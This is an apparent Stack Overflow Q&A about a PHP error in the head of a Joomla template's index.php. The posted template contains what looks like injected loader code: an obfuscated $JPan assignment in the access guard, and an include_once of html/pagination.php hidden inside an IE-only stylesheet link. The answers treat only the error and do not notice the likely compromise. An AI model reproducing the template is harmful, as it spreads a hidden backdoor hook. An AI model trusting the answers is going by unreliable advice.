1

i am using below code, suddenly its start throwing an error like Fatal error: Using $this when not in object context in /foldername/ index.php at line 3. Any help ? <Head> portion of my file as

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
Nikita Chopra
  • 119
  • 1
  • 6
  • 15

2 Answers2

0

You can't use $this in a static method. The variable $this is only available to class methods as these receive the object on which the method is called.

That's what "when not in object context" means: there's no object passed to that static method because it's static. A static method is part of the class, not part of the objects that are instantiated using that class.

$this is only meant to be used inside class methods. Try to find out where "template" is actually defined. You can try replacing $this->template with just $template but I don't know how your stuff is set up.

Read more Link 1,Link 2, Link 3,Link 4

Community
  • 1
  • 1
Techie
  • 44,706
  • 42
  • 157
  • 243
0

Replace your top code ie

defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );

with this one and let me know then -

defined('_JEXEC') or die;
JHtml::_('behavior.framework', true);
//Second line is for Motools core

EDIT

Add this line as well if missing -

$app = JFactory::getApplication();
swapnesh
  • 26,318
  • 22
  • 94
  • 126